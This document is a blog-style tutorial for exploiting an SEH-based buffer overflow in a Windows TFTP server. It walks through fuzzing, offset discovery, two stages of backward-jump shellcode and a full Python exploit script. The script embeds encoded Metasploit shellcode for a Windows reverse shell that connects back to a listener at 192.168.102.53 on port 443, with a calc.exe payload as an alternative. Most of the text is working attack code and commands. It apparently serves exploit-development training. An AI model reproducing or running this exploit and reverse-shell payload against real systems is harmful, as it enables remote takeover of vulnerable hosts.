Intro
This BoF introduces the basics of jumping backwards using multi stage shellcodes. The 1st jump of 208 bytes is done using a directive EB D0, the 2nd stage shellcode is a little assemble code to take a long jump backwards. All these stages are padded by NOPs as illustrated below:
So basically, we are jumping back 2 times to reach a bigger user defined buffer that can fit out evil shellcode. Remember to adjust the buffer length/offset accordingly when you add the multistage shellcodes.
Fuzzing
1. Use spike to fuzz tftpd:# vi tftp.spk
s_binary("0002");
s_string_variable("file.txt");
s_binary("00");
s_string_variable("netascascii");
s_binary("00");
sleep(1);
2. Start spike:
# /usr/bin/generic_send_udp 172.16.155.129 69 tftp.spk 0 0 5000
3. Attach tftpd.exe to Olly, start the debugger. Examine SEH overwrite. Spike will inform that overflow happen on the 1st variable, 'filename'.
4. Edit tftp-exp.py, use 'pattern_create.rb -l 5000':
#!/usr/bin/python
import socket
import sys
host = '172.16.155.129'
port = 69
try:
s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
except:
print "socket() failed"
sys.exit(1)
filename = "Aa0Aa1Aa2Aa3Aa4Aa5Aa6Aa7Aa[5000 chars]...j28Gj9Gk0Gk1Gk2Gk3Gk4Gk5Gk"
mode = "netascii"
payload = "\x00\x02" + filename+ "\0" + mode+ "\0"
s.sendto(payload, (host, port))
5a. Run the exploit agaisnt tftpd with olly attached. Upon crash, look for the SEH overwrite addr, run it agaisnt pattern_offset to find the offset length (eg 1232 or 1496 for w2003SP2).
5b. In Olly, check for safeSEH, Plugins->SafeSEH->Scan/SafeSEH. Only TFTPServer.exe does not have SafeSEH. Location of this exe is at 0040000, which is unusable bcoz is starts at 00.
6. Using the offset, mod the exploit to include the offset length (eg 1232 or 1496 for w2003SP2):
filename = "A"*1232 + "\x42\x42\x42\x42" + "C"*3764 # 5000 -1232 - 4 = 3764
Win2003SP2:
filename = "A" * 1496 + "\x4F\x48\x40" # + "\x43" * 3500
7. Restart Olly and reattach the process and run the exploit. In Olly, Click on "E", double click TFTPServerSP.exe, search for 'Seq of Command' (ctrl-s)......search for 'pop pop ret' address as return addr:
POP R32
POP R32
RET
Eg: Addr location is 0040F3B6 or 0040484F for W2003SP2
3 Byte EIP overwrite
8. Mod the exploit to include the return addr but omitt the last digit of the addr because 00(null byte) is not acceptable in our user defined buffer, the last 00 will be filled by the tftp protocol:filename = "A"*1232 + "\xB6\xF3\x40" # or "\x4F\x48\x40" on W2003 SP2
..
..
payload = "\x00\x02" + filename + "\x00" + mode + "\x00"
9. Restart olly and attach tftpd process, set breakpoint at ret addr 0040F3B6 and rerun exploit. Access violation will occur, press shift f9 to go into the exception and land into the breakpoint. EIP should now be overwritten by the ret addr 00400F3B6 or 0040484F (Win2003SP4).
10. In the right lower pane(stack panel), the 3rd address from the top(pop pop ret), right click, follow in dump, you will fall at the end of the buffer with only 4 bytes of user defined buffer. Not ehough space for our evil deeds.
Short Negative Jump to 1st stage payload
11. Press f7, f7,f7(the pop pop ret) in the upper left panel to take the jumps until you reach the A(41),highlight the first 2 As, right click->Binary Edit, 'EB D0', to move up 46 bytes to the address space (eg 00C2FFAE or 0022FFB2 for W2003 SP2), place break point there (f2). Take the jump, f7, land on the "A"s.
Negative Jump to 2nd Stage payload
12. Compile 'phrack 62, article 7: Aaron Adams' shell code using nasm, the purpose of the shellcode is to take a long jump backwards into the user defined buffer:
vi jmp.bin
[BITS 32]
global _start
_start:
# ;--- Taken from Phrack #62 Article 7 Originally written by Aaron Adams
# ;--- copy eip into ecx
fldz
fnstenv [esp-12]
pop ecx
add cl, 10
nop
# ;----------------------------------------------------------------------
dec ch;
dec ch;
jmp ecx;
nasm jmp.bin -o jmp
hexedit jmp
12a. mod the exploit, include the 1st stage payload and 2nd payload:
filename = "\xcc"*1128 + "\x90" * 83 + "\xd9\xee\xd9\x74\x24\xf4\x59\x80\xc1\x0a\x90\xfe\xcd\xfe\xcd\xff\xe1" + "\xeb\xd0\x90\x90" + "\xb6\xf3\x40" # 1232 - (83+17+4) = Add up the C(1128)+NOPs(83)+jumbackshell(17)+shortjumpback(4) = 1232
12b. If you are on w2003SP2:
filename = "\xcc" * 1445 + "\x90" * 30 + "\xd9\xee\xd9\x74\x24\xf4\x59\x80\xc1\x0a\x90\xfe\xcd\xfe\xcd\xff\xe1" + "\xeb\xd0\x90\x90" + "\x4F\x48\x40" #Total offset is 1496, so 1445+30+17+4=1496
13. Restart olly and attach process, place breakpoint at 1st ret addr. run the exploit.
14. Shift-f9, land into pop pop ret, f7 3 times, land into the 1st(shortjump) and 2nd(longjumpshell) payload. Then finally into the final payload of CC.
Final Shellcode
15. Gen reverse shell, use backtrack5:
# msfpayload win32_reverse RHOST=192.168.102.53 RPORT=443 R | msfencode -b "\x00\x2f" -e ShikataGaNai
16. mod the exploit to include shellcode, minus the length of shellcode from the buffer:
#[*] Using Msf::Encoder::ShikataGaNai with final size of 314 bytes
buf = ""
buf += "\xdb\xdf\xd9\x74\x24\xf4\xba\x15\xe0\x4d\x6a\x33\xc9\x5f\xb1\x49"
buf += "\x31\x57\x17\x83\xef\xfc\x03\x42\xf3\xaf\x9f\x90\x99\xc4\x2d\x80"
buf += "\xa7\xe4\x51\xaf\x38\x90\xc2\x6b\x9d\x2d\x5f\x4f\x56\x4d\x65\xd7"
buf += "\x69\x41\xee\x68\x72\x16\xae\x56\x83\xc3\x18\x1d\xb7\x98\x9a\xcf"
buf += "\x89\x5e\x05\xa3\x6e\x9e\x42\xbc\xaf\xd5\xa6\xc3\xed\x01\x4c\xf8"
buf += "\xa5\xf1\x85\x8b\xa0\x71\x8a\x57\x2a\x6d\x53\x1c\x20\x3a\x17\x7d"
buf += "\x25\xbd\xcc\x82\x79\x36\x9b\xe8\xa5\x54\xfd\x33\x94\xbf\x99\x38"
buf += "\x94\x0f\xe9\x7e\x17\xfb\x9d\x62\x8a\x70\x1d\x92\x8a\xee\x10\xec"
buf += "\x3c\x03\x7c\x0f\x96\xbd\x2e\x89\x7f\x71\xe3\x3d\xf7\x06\x31\xe2"
buf += "\xa3\x17\xe5\x74\x87\x05\xfa\xbf\x47\x29\xd5\xe0\xee\x30\xbc\x9f"
buf += "\x1c\xb2\x43\xca\xb4\xc1\xbc\x24\x20\x1f\x4b\x31\x1c\xc8\xb3\x6f"
buf += "\x0c\xa4\x18\xdc\xf0\x19\xdc\xb1\x09\x4d\x8a\xf5\x5e\x08\x7e\x93"
buf += "\xf6\xd4\x3b\x3d\x54\x5e\xda\x54\x32\x8c\xe4\xfc\xa3\x1b\xe8\xd6"
buf += "\x4e\xb4\x47\x83\x71\x64\x01\x41\xea\xe3\xa6\xf6\x9f\x81\x66\xa1"
buf += "\x76\x9a\x0e\xb6\xe3\x66\x98\xda\xc5\xa6\x69\xb0\xb3\xae\x73\x3a"
buf += "\xf9\x9d\x75\x80\xd2\x50\xf3\x3c\x80\xc0\xaf\x54\xa4\xe8\x03\xb2"
buf += "\xb7\x60\x4c\x45\x91\xd0\xdb\xeb\x4f\xb6\xb2\x61\x71\x69\x64\x20"
buf += "\x20\x76\x56\xa2\x6f\x51\x52\xfc\x23\x9d\x8b\x6a\x3b\x9e\x03\x95"
buf += "\x13\x09\x8b\x10\x52\xb3\xac\x97\x5e\xbb\x85\xa8\x28\xbf\xd5\x86"
buf += "\xbf\xcf\xa0\x22\x1f\x63\x4a\xfc\x60\x53"
filename = "\xcc"*600 + "\x90"*214 + buf + "\x90" *83 + "\xd9\xee\xd9\x74\x24\xf4\x59\x80\xc1\x0a\x90\xfe\xcd\xfe\xcd\xff\xe1" + "\xeb\xd0\x90\x90" + "\xb6\xf3\x40" # 600+214+314+83+17+4=1232 which is the original length of the offset
16a. In case you wish to pop a calc.exe instead:
msfvenom -p windows/exec cmd=calc.exe EXITFUNC=seh -e x86/shikata_ga_nai -b "\x00\x2f" -f python
No platform was selected, choosing Msf::Module::Platform::Windows from the payload
No Arch selected, selecting Arch: x86 from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 220 (iteration=0)
x86/shikata_ga_nai chosen with final size 220
Payload size: 220 bytes
Final size of python file: 1060 bytes
buf = ""
buf += "\xbb\xf3\x84\xd0\x15\xdb\xdb\xd9\x74\x24\xf4\x5a\x29"
buf += "\xc9\xb1\x31\x31\x5a\x13\x83\xea\xfc\x03\x5a\xfc\x66"
buf += "\x25\xe9\xea\xe5\xc6\x12\xea\x89\x4f\xf7\xdb\x89\x34"
buf += "\x73\x4b\x3a\x3e\xd1\x67\xb1\x12\xc2\xfc\xb7\xba\xe5"
buf += "\xb5\x72\x9d\xc8\x46\x2e\xdd\x4b\xc4\x2d\x32\xac\xf5"
buf += "\xfd\x47\xad\x32\xe3\xaa\xff\xeb\x6f\x18\x10\x98\x3a"
buf += "\xa1\x9b\xd2\xab\xa1\x78\xa2\xca\x80\x2e\xb9\x94\x02"
buf += "\xd0\x6e\xad\x0a\xca\x73\x88\xc5\x61\x47\x66\xd4\xa3"
buf += "\x96\x87\x7b\x8a\x17\x7a\x85\xca\x9f\x65\xf0\x22\xdc"
buf += "\x18\x03\xf1\x9f\xc6\x86\xe2\x07\x8c\x31\xcf\xb6\x41"
buf += "\xa7\x84\xb4\x2e\xa3\xc3\xd8\xb1\x60\x78\xe4\x3a\x87"
buf += "\xaf\x6d\x78\xac\x6b\x36\xda\xcd\x2a\x92\x8d\xf2\x2d"
buf += "\x7d\x71\x57\x25\x93\x66\xea\x64\xf9\x79\x78\x13\x4f"
buf += "\x79\x82\x1c\xff\x12\xb3\x97\x90\x65\x4c\x72\xd5\x94"
buf += "\xbd\x4f\xc3\x01\x64\x3a\xae\x4f\x97\x90\xec\x69\x14"
buf += "\x11\x8c\x8d\x04\x50\x89\xca\x82\x88\xe3\x43\x67\xaf"
buf += "\x50\x63\xa2\xcc\x37\xf7\x2e\x3d\xd2\x7f\xd4\x41"
Note: Remember to adjust buf size accordingly in exploit code, you should have enough NOPs before the buf, ensure you land directly in the NOPs and not in the CCs:
filename = "\xcc" * 973 + "\x90" * 252 + buf + "\x90" * 30 + jumpback + "\xeb\xd0\x90\x90" + "\x4F\x48\x40"
17. Run the exploit. Done!
Reference
https://gist.github.com/r00tpgp/b5004a005d75592fa73a3ee1ef5ba8cf